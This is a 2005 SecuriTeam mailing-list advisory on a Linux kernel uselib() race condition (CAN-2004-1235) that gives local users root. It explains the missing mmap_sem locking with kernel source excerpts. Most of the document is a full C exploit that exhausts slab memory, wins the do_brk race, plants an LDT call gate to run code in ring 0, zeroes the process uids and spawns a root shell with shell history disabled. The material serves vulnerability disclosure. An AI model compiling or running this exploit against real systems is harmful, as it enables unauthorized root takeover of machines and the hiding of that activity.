[UNIX] Linux Kernel uselib() Privilege Elevation

• Previous message: SecuriTeam: "[UNIX] Exim auth_spa_server() Buffer Overflow Vulnerability"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 9 Jan 2005 10:43:37 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  Linux Kernel uselib() Privilege Elevation
------------------------------------------------------------------------

SUMMARY

Locally exploitable flaws have been found in the Linux binary format
loaders' uselib() functions that allow local users to gain root
privileges.

DETAILS

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1235 >
CAN-2004-1235

The Linux kernel provides a binary format loader layer to load (execute)
programs of different binary formats like ELF or a.out and more. The
kernel also provides a function named sys_uselib() to load a corresponding
library. This function is dispatched to the current process's binary
format handler and is basically a simplified mmap() coupled with some
header parsing code.

An analyze of the uselib function load_elf_library() from binfmt_elf.c
revealed a flaw in the handling of the library's brk segment (VMA). That
segment is created with the current->mm->mmap_sem semaphore NOT held while
modifying the memory layout of the calling process. This can be used to
disturb the memory management and gain elevated privileges. Also the
binfmt_aout binary format loader code is affected in the same way.

Discussion:
The vulnerable code resides for example in fs/binfmt_elf.c in your kernel
source code tree:

static int load_elf_library(struct file *file)
{
[904] down_write(&current->mm->mmap_sem);
       error = do_mmap(file,
                     ELF_PAGESTART(elf_phdata->p_vaddr),
                     (elf_phdata->p_filesz +
                      ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
                     (elf_phdata->p_offset -
                      ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
       up_write(&current->mm->mmap_sem);
       if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
              goto out_free_ph;

       elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz;
       padzero(elf_bss);

       len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr +
ELF_MIN_ALIGN - 1);
       bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
       if (bss > len)
              do_brk(len, bss - len);

The line numbers are all valid for the 2.4.28 kernel version. As can be
seen the mmap_sem is released prior to calling do_brk() in order to create
the data section of the ELF library. On the other hand, looking into the
code of sys_brk() from mm/mmap.c reveals that do_brk() must be called with
the mmap semaphore held.

A short look into the code of do_brk() shows that:

[1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
       if (!vma)
              return -ENOMEM;

       vma->vm_mm = mm;
       vma->vm_start = addr;
       vma->vm_end = addr + len;
       vma->vm_flags = flags;
       vma->vm_page_prot = protection_map[flags & 0x0f];
       vma->vm_ops = NULL;
       vma->vm_pgoff = 0;
       vma->vm_file = NULL;
       vma->vm_private_data = NULL;

       vma_link(mm, vma, prev, rb_link, rb_parent);

where rb_link and rb_parent were both found by calling find_vma_prepare().
Obviously, if the kmem_cache_alloc() call sleeps, the newly created VMA
descriptor may be inserted at wrong position because the process's VMA
list and the VMA RB-tree may have been changed by another thread. This is
absolutely enough to gain root privileges.

We have found at least three different ways to exploit this vulnerability.
The race condition can be easily won by consuming a big amount of memory.
The code attached uses a similar technique like the do_brk exploit and
uses a LDT call gate to gain CPL0 privileges. However another exploitation
vectors exist: through page reference counters and 'ghost PTEs'.

Exploit:
/*
 * binfmt_elf uselib VMA insert race vulnerability
 * v1.08
 *
 * gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
 *
 * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 * http://www.isec.pl/vulnerabilities/isec-0021-uselib.txt - SECU
 */

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE 1

// temp lib location
#define LIBNAME "/dev/shm/_elf_lib"

// shell name
#define SHELL "/bin/bash"

// time delta to detect race
#define RACEDELTA 5000

// if you have more deadbabes in memory, change this
#define MAGIC 0xdeadbabe

// do not touch
#define SLAB_THRSH 128
#define SLAB_PER_CHLD (INT_MAX - 1)
#define LIB_SIZE ( PAGE_SIZE * 4 )
#define STACK_SIZE ( PAGE_SIZE * 4 )

#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE ( LDT_ENTRIES-1 )
#define SEL_GATE ( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS ( ENTRY_GATE-2 )
#define SEL_LCS ( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS ( ENTRY_GATE-1 )
#define SEL_LDS ( (ENTRY_LDS<<3)|0x04 )

#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB

#define TMPLEN 256
#define PGD_SIZE ( PAGE_SIZE*1024 )

extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];

static volatile int
 val = 0,
 go = 0,
 finish = 0,
 scnt = 0,
 ccnt=0,
 delta = 0,
 delta_max = RACEDELTA,
 map_flags = PROT_WRITE|PROT_READ;

static int
 fstop=0,
 silent=0,
 pidx,
 pnum=0,
 smp_max=0,
 smp,
 wtime=2,
 cpid,
 uid,
 task_size,
 old_esp,
 lib_addr,
 map_count=0,
 map_base=0,
 map_addr,
 addr_min,
 addr_max,
 vma_start,
 vma_end,
 max_page;

static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
   "HISTFILE=/dev/null",
   NULL};

static char hellc0de[] =
"\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                         
"\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";

static char *pagemap, *libname=LIBNAME, *shellname=SHELL;

#define __NR_sys_gettimeofday __NR_gettimeofday
#define __NR_sys_sched_yield __NR_sched_yield
#define __NR_sys_madvise __NR_madvise
#define __NR_sys_uselib __NR_uselib
#define __NR_sys_mmap2 __NR_mmap2
#define __NR_sys_munmap __NR_munmap
#define __NR_sys_mprotect __NR_mprotect
#define __NR_sys_mremap __NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e,
int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount
);

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);

inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

 r=t2->tv_sec - t1->tv_sec;
 r*=1000000;
 r+=t2->tv_usec - t1->tv_usec;
return r;
}

void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

 if(!errno) {
  fprintf(stdout, "\n[-] FAILED: %s ", message);
 } else {
  fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
   (char*) (strerror(errno)) );
 }
 if(critical)
  printf("\nCRITICAL, entering endless loop");
 printf("\n");
 fflush(stdout);

 unlink(libname);
 kill(cpid, SIGKILL);
 for(;;) kill(0, sig);
}

// try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
 finish=1;

 for(;;) {
  errno = 0;

// check if raced:
recheck:
  if(!go) sys_sched_yield();
  sys_gettimeofday(&tm2, NULL);
  delta = tmdiff(&tm1, &tm2);
  if(!smp_max && delta < (unsigned)delta_max) goto recheck;
  smp = smp_max;

// check if lib VMAs exist as expected under race condition
recheck2:
  val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
  if(val) continue;
  errno = 0;
  val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
    LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
  if( !val || (val<0 && errno!=ENOMEM) ) continue;

// SMP?
  smp--;
  if(smp>=0) goto recheck2;

// recheck race
  if(!go) continue;
  finish++;

// we need to free one vm_area_struct for mmap to work
  val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
  if(val) fatal("mprotect", 0);
  val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
         MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  if(-1==val) fatal("mmap2 race", 0);
  printf("\n[+] race won maps=%d", map_count); fflush(stdout);
  _exit(0);
 }

return 0;
}

int callme_1()
{
 return val++;
}

inline int valid_ptr(unsigned ptr)
{
 return ptr>=task_size && ptr<addr_min-16;
}

inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

 if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
  t=(unsigned*)p[3];
  if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
   return 1;
 }
 return 0;
}

asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

// find & reset uids
 while(addr[0] != uid || addr[1] != uid ||
       addr[2] != uid || addr[3] != uid)
  addr++;

 addr[0] = addr[0] = addr[2] = addr[3] = 0;
 addr[4] = addr[5] = addr[6] = addr[7] = 0;

// find & correct VMA
 for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
  if( validate_vma(addr, vma_start, vma_end) ) {
   addr[1] = task_size - PAGE_SIZE;
   addr[2] = task_size;
   break;
  }
 }
}

void kcode(void);

void __kcode(void)
{
asm(
 "kcode: \n"
 " pusha \n"
 " pushl %es \n"
 " pushl %ds \n"
 " movl $(" xstr(SEL_LDS) ") ,%edx \n"
 " movl %edx,%es \n"
 " movl %edx,%ds \n"
 " movl $0xffffe000,%eax \n"
 " andl %esp,%eax \n"
 " pushl %eax \n"
 " call kernel_code \n"
 " addl $4, %esp \n"
 " popl %ds \n"
 " popl %es \n"
 " popa \n"
 " lret \n"
    );
}

int callme_2()
{
 return val + task_size + addr_min;
}

void sigfailed(int v)
{
 ccnt++;
 fatal("lcall", 1);
}

// modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

 printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
 unlink(libname);

 r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
 if(r) fatal("mprotect 1", 1);

// check if really LDT
 v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
 signal(SIGSEGV, sigfailed);
 r = *v;
 if(r != MAGIC) {
  printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
  fatal("find LDT", 1);
 }

// yeah, setup CPL0 gate
 v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
 v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
 printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]);
fflush(stdout);

// setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
 v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
 v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
 v[1] = 0x00cf9b00;

 v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
 v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
 v[1] = 0x00cf9300;

// reprotect to get only one big VMA
 r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
 if(r) fatal("mprotect 2", 1);

// CPL0 transition
 sys_sched_yield();
 val = callme_1() + callme_2();
 asm("lcall $" xstr(SEL_GATE) ",$0x0");
 if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
  printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
 } else {
  printf("\n[-] uid change failed" ); fflush(stdout);
  sigfailed(0);
 }
 signal(SIGTERM, SIG_IGN);
 kill(0, SIGTERM);
 execl(shellname, "sh", NULL);
 fatal("execl", 0);
}

void scan_mm_finish();
void scan_mm_start();

// kernel page table scan code
void scan_mm()
{
 map_addr -= PAGE_SIZE;
 if(map_addr <= (unsigned)addr_min)
  scan_mm_start();

 scnt=0;
 val = *(int*)map_addr;
 scan_mm_finish();
}

void scan_mm_finish()
{
retry:
 __asm__("movl %0, %%esp" : :"m"(old_esp) );

 if(scnt) {
  pagemap[pidx] ^= 1;
 }
 else {
  sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
 }
 pidx--;
 scan_mm();
 goto retry;
}

// make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;

 pnum++;
 if(pnum==1) {
  pidx = max_page-1;
 }
 else if(pnum==2) {
  memset(&l, 0, sizeof(l));
  l.entry_number = LDT_ENTRIES-1;
  l.seg_32bit = 1;
  l.base_addr = MAGIC >> 16;
  l.limit = MAGIC & 0xffff;
  l.limit_in_pages = 1;
  if( modify_ldt(1, &l, sizeof(l)) != 0 )
   fatal("modify_ldt", 1);
  pidx = max_page-1;
 }
 else if(pnum==3) {
  npg=0;
  for(pidx=0; pidx<=max_page-1; pidx++) {
   if(pagemap[pidx]) {
    npg++;
    fflush(stdout);
   }
   else if(npg == LDT_PAGES) {
    npg=0;
    try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
   } else {
    npg=0;
   }
  }
  fatal("find LDT", 1);
 }

// save context & scan page table
 __asm__("movl %%esp, %0" : :"m"(old_esp) );
 map_addr = addr_max;
 scan_mm();
}

// return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;

 fp = fopen("/proc/slabinfo", "r");
 if(!fp)
  fatal("get_slab_objs: fopen", 0);
 fgets(name, sizeof(name) - 1, fp);
 do {
  c = u = a = -1;
  if (!fgets(line, sizeof(line) - 1, fp))
   break;
  c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
      &d, &d, &d, &d);
 } while (strcmp(name, sn));
 close(fileno(fp));
 fclose(fp);
 return c == 7 ? a - u : -1;
}

// leave one object in the SLAB
inline void prepare_slab()
{
int *r;

 map_addr -= PAGE_SIZE;
 map_count++;
 map_flags ^= PROT_READ;

 r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
        MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
 if(MAP_FAILED == r) {
  fatal("try again", 0);
 }
 *r = map_addr;
}

// sig handlers
void segvcnt(int v)
{
 scnt++;
 scan_mm_finish();
}

// child reap
void reaper(int v)
{
 ccnt++;
 waitpid(0, &v, WNOHANG|WUNTRACED);
}

// sometimes I get the VMAs in reversed order...
// so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
 map_flags = 0;
 check_vma_flags();
}

void check_vma_flags()
{
 if(map_flags) {
  __asm__("movl %%esp, %0" : :"m"(old_esp) );
 } else {
  __asm__("movl %0, %%esp" : :"m"(old_esp) );
  goto out;
 }
 signal(SIGSEGV, vreversed);
 val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}

// use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

// printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout);

// helper clone
 finish=0; ccnt=0;
 sz = sizeof(cstack) / sizeof(cstack[0]);
 cpid = clone(&raceme, (void*) &cstack[sz-16],
   CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
 if(-1==cpid) fatal("clone", 0);

// synchronize threads
 while(!finish) sys_sched_yield();
 finish=0;
 if(!silent) {
  printf("\n"); fflush(stdout);
 }

// try to hit the kmalloc race
 for(;;) {

  r = get_slab_objs("vm_area_struct");
  while(r != 1) {
   prepare_slab();
   r--;
  }

  sys_gettimeofday(&tm1, NULL);
  go = 1;
  r=sys_uselib(libname);
  go = 0;
  if(r) fatal("uselib", 0);
  if(finish) break;

// wipe lib VMAs and try again
  r = sys_munmap(lib_addr, LIB_SIZE);
  if(r) fatal("munmap lib", 0);
  if(ccnt) goto failed;

  if( !silent && !(pcnt%64) ) {
   printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]);
   fflush(stdout);
  }
  pcnt++;
 }

// seems we raced, free mem
 r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
 if(r) fatal("munmap 1", 0);
 r = sys_munmap(lib_addr, PAGE_SIZE);
 if(r) fatal("munmap 2", 0);
 
// relax kswapd
 sys_gettimeofday(&tm1, NULL);
 for(;;) {
  sys_sched_yield();
  sys_gettimeofday(&tm2, NULL);
  delta = tmdiff(&tm1, &tm2);
  if( wtime*1000000U <= (unsigned)delta ) break;
 }

// we need to check the PROT_EXEC flag
 map_flags = PROT_EXEC;
 check_vma_flags();
 if(!map_flags) {
  printf("\n VMAs reversed"); fflush(stdout);
 }

// write protect brk's VMA to fool vm_enough_memory()
 r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
    PROT_READ|map_flags);
 if(-1==r) { fatal("mprotect brk", 0); }

// this will finally make the big VMA...
 sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
 r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
   LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
 if(r) fatal("madvise", 0);
 r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
   PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
 if(-1==r) {
  if(0==sz) {
   fatal("mremap: expand VMA", 0);
  } else {
   sz -= PAGE_SIZE;
   goto expand;
  }
 }
 vma_start = lib_addr + PAGE_SIZE;
 vma_end = vma_start + sz + 2*PAGE_SIZE;
 printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
 fflush(stdout);

// try to figure kernel layout
 signal(SIGCHLD, reaper);
 signal(SIGSEGV, segvcnt);
 signal(SIGBUS, segvcnt);
 scan_mm_start();

failed:
 fatal("try again", 0);

}

// make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

// make our elf library
 umask(022);
 unlink(libname);
 fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
 if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
 memset(&eh, 0, sizeof(eh) );

// elf exec header
 memcpy(eh.e_ident, ELFMAG, SELFMAG);
 eh.e_type = ET_EXEC;
 eh.e_machine = EM_386;
 eh.e_phentsize = sizeof(struct elf_phdr);
 eh.e_phnum = 1;
 eh.e_phoff = sizeof(eh);
 write(fd, &eh, sizeof(eh) );

// section header:
 memset(&eph, 0, sizeof(eph) );
 eph.p_type = PT_LOAD;
 eph.p_offset = 4096;
 eph.p_filesz = 4096;
 eph.p_vaddr = lib_addr;
 eph.p_memsz = LIB_SIZE;
 eph.p_flags = PF_W|PF_R|PF_X;
 write(fd, &eph, sizeof(eph) );

// execable code
 lseek(fd, 4096, SEEK_SET);
 memset(tmpbuf, 0x90, sizeof(tmpbuf) );
 write(fd, &tmpbuf, sizeof(tmpbuf) );
 close(fd);
}

// move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

 old_esp &= ~(PAGE_SIZE-1);
 old_esp -= PAGE_SIZE;
 task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
 r = sys_munmap(old_esp, task_size-old_esp);
 if(r) fatal("unmap stack", 0);

// setup rt env
 uid = getuid();
 lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
 if(map_base)
  map_addr = map_base;
 else
  map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
 printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
  old_esp, task_size, map_base); fflush(stdout);

// check physical mem & prepare
 sysinfo(&si);
 addr_min = task_size + si.totalram;
 addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
 addr_max = addr_min + si.totalram;
 if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max <
(unsigned)addr_min)
  addr_max = 0xffffd000;

 printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
 max_page = (addr_max - addr_min) / PAGE_SIZE;
 pagemap = malloc( max_page + 32 );
 if(!pagemap) fatal("malloc pagemap", 1);
 memset(pagemap, 0, max_page + 32);

// go go
 make_lib();
 exploitme();
}

// move stack down #1
void prepare()
{
unsigned p=0;

 environ = myenv;

 p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
         MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );
 if(-1==p) fatal("mmap2 stack", 0);
 p += STACK_SIZE - 64;

 __asm__("movl %%esp, %0 \n"
  "movl %1, %%esp \n"
  : : "m"(old_esp), "m"(p)
 );

 prepare_finish();
}

void chldcnt(int v)
{
 ccnt++;
}

// alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

 __asm__("movl %%esp, %0" : : "m"(old_esp) );

 old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
 old_esp = map_base? map_base : old_esp;

 for(;;) {
  if(left<=0)
   left = get_slab_objs("vm_area_struct");
  if(left <= SLAB_THRSH)
   break;
  left--;

  map_flags ^= PROT_READ;
  old_esp -= PAGE_SIZE;
  r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
   MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
  if(MAP_FAILED == r)
   break;

  if(c>SLAB_PER_CHLD)
   break;
  if( (c%1024)==0 ) {
   if(!c) printf("\n");
   printf("\r child %d VMAs %d", val, c);
   fflush(stdout);
  }
  c++;
 }
 printf("\r child %d VMAs %d", val, c);
 fflush(stdout);
 kill(getppid(), SIGUSR1);
 for(;;) pause();
}

// empty SLAB caches
void wipe_slab()
{
 signal(SIGUSR1, chldcnt);
 printf("\n[+] SLAB cleanup"); fflush(stdout);
 for(;;) {
  ccnt=0;
  val++;
  cpid = fork();
  if(!cpid)
   do_wipe();

  while(!ccnt) sys_sched_yield();
  if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
   break;
 }
 signal(SIGUSR1, SIG_DFL);
}

void usage(char *n)
{
 printf("\nUsage: %s\t-f forced stop\n", n);
 printf("\t\t-s silent mode\n");
 printf("\t\t-c command to run\n");
 printf("\t\t-n SMP iterations\n");
 printf("\t\t-d race delta us\n");
 printf("\t\t-w wait time seconds\n");
 printf("\t\t-l alternate lib name\n");
 printf("\t\t-a alternate addr hex\n");
 printf("\n");
 _exit(1);
}

// give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

 while(ac) {
  r = getopt(ac, av, "n:l:a:w:c:d:fsh");
  if(r<0) break;

  switch(r) {

  case 'f' :
   fstop = 1;
   break;

  case 's' :
   silent = 1;
   break;

  case 'n' :
   smp_max = atoi(optarg);
   break;

  case 'd':
   if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
    fatal("bad delta value", 0);
   break;

  case 'w' :
   wtime = atoi(optarg);
   if(wtime<0) fatal("bad wait value", 0);
   break;

  case 'l' :
   libname = strdup(optarg);
   break;

  case 'c' :
   shellname = strdup(optarg);
   break;

  case 'a' :
   if(1!=sscanf(optarg, "%x", &map_base))
    fatal("bad addr value", 0);
   map_base &= ~(PGD_SIZE-1);
   break;

  case 'h' :
  default:
   usage(av[0]);
   break;
  }
 }

// basic setup
 uid = getuid();
 setpgrp();
 wipe_slab();
 prepare();

return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:ihaquer@isec.pl> Paul
Starzetz.
The original article can be found at:
<http://www.isec.pl/vulnerabilities/isec-0021-uselib.txt>
http://www.isec.pl/vulnerabilities/isec-0021-uselib.txt

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[UNIX] Exim auth_spa_server() Buffer Overflow Vulnerability"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]